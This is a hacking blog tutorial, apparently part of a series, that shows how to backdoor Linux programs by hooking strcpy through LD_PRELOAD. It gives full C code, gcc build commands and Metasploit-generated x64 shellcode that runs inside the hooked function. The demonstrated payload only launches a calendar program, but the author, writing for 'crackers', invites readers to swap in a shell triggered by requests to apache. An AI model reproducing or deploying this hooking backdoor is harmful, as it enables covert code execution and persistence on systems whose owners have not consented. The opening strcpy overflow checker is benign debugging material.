Backdooring DLL’s Part 3

Whaddup fellow crackers. Long time, no see.
1463353909015

In this article, we’re going to do something I rarely bother with – Linux!

Yes, you can backdoor Linux binaries quite easily. One method I like to use is via the LD_PRELOAD environment variable. Within the header file “dlfcn.h”, there exists a function named ‘dlsym’ which is used for obtaining the address of symbols. We can use this to hook shared library functions and add our own code to them.

In the following example, I am hooking ‘strcpy’ with a check to see if the destination buffer is large enough for the source. If it isn’t, rather than (potentially) crashing, my implementation prints what I want to the screen along with some backtrace info obtained from ‘execinfo.h’. Here is how we do it.

First, paste this into your editor:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <execinfo.h>
#include <stdio.h>
#include <stdlib.h>

void joetrace(void);

char *strcpy(char *destination,  char *source )  
{

         if (strlen(source) > strlen(destination)) {
                printf("\nFound bug in [strcpy] call.  Source [%zu] Destination [%zu]\n", strlen(source), strlen(destination));
                joetrace();
        }

        char *(*old_strcpy)(char *dest, const char *src);
        old_strcpy = dlsym(RTLD_NEXT, "strcpy");
        return (*old_strcpy)(destination, source);
}

void joetrace (void)
{
  void *blox[10];
  size_t mysize;
  char **brix;
  size_t i;
  mysize = backtrace (blox, 10);
  brix = backtrace_symbols (blox, mysize);
  printf ("I'm seeing %zd stack frames.\n", mysize);

        for (i = 0; i < mysize; i++)
        {
        printf ("%s\n", brix[i]);
        }
  free(brix);
}

Now compile:

joe@ubuntu:~/Downloads$ gcc -shared -ldl -fPIC btrace.c -o btrace.so

Now we need a testing program. Paste this into your editor.

#include <stdio.h>
#include <string.h>

int main(void)
{
printf("This better work...\r\n");
char joe[10] = "haha";
char why[10] = "hehey";
strcpy(joe,why);
}

Compile…

joe@ubuntu:~/Downloads$ gcc testing123.c -o testing123

Now we’re ready. Just need to set the LD_PRELOAD environment variable and run the program at the same time. Low and behold:

joe@ubuntu:~/Downloads$ LD_PRELOAD=/home/joe/Downloads/btrace.so ./testing123
This better work...

Found bug in [strcpy] call.  Source [5] Destination [4]
I'm seeing 5 stack frames.
/home/joe/Downloads/btrace.so(joetrace+0x19) [0x7fe1699f6885]
/home/joe/Downloads/btrace.so(strcpy+0xd0) [0x7fe1699f683c]
./testing123() [0x40060a]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xed) [0x7fe1696597ed]
./testing123() [0x4004f9]

This is useful if you want to test programs for buffer overflows, but what about backdooring? After all, that’s why we’re here right? All we have to do is modify our code before our call to ‘dlsym’ and the return and place backdooring code inside. My motto has always been, why re-invent the wheel? Metasploit has lot’s of backdoor code. Hell, Metasploit is even nice enough to produce a C file output for our shellcode. Since we don’t need to evade anything or watch for null bytes, the process is simple.

Step 1 – boot up metasploit, pick a payload.
msf

In this case, I chose exec for Linux x64. I’m setting the CMD as /usr/bin/cal (calendar). Now it’s just a matter of using the ‘generate’ command and specifying C as the output language:
msdf2

We take our output, make it C ready, and place this inside our shared object and compile.

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>

char *strcpy(char *destination,  char *source )  
{
unsigned char buf[] = 
"\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xce\x62\xd4\x8c\x11\x28\xd0\x06\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa4\x59\x8c\x15\x59\x93"
"\xff\x64\xa7\x0c\xfb\xff\x79\x28\x83\x4e\x47\x85\xbc\xa1\x72"
"\x28\xd0\x4e\x47\x84\x86\x64\x1c\x28\xd0\x06\xe1\x17\xa7\xfe"
"\x3e\x4a\xb9\x68\xe1\x01\xb5\xe0\x11\x7e\x87\x4e\x47\x84\xdb"
"\x89\x11\x28\xd0\x06";

int (*doit)() = (int(*)())buf;
doit();
        
char *(*old_strcpy)(char *dest, const char *src);
old_strcpy = dlsym(RTLD_NEXT, "strcpy");
return (*old_strcpy)(destination, source);
}

Compiling….

joe@ubuntu:~/Downloads$ gcc -shared -ldl -fPIC -fno-stack-protector -z execstack backdoored_so.c -o backdoored_so.so

Now we set our environment variable LD_PRELOAD again and run our program:
backdoored_shared_object
Fantastico! The call to strcpy() was intercepted, and calendar was called. I used simple shellcode too. Imagine spawning a shell when apache accepts a recv() request from your IP? You’ll have to be creative.

There are other ways of backdooring shared objects in Linux, but I wanted to share the hooking method. The way you hook a Linux shared object is about the same as part 1 when we went through a DLL file – just find the right export / function and replace codez.

Tune in for part 4, the final chapter when I go over using hooking libraries to hook dll files on windows. We’ll be playing with HookLib and MS Detours again.

Until then,

Happy hacking!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.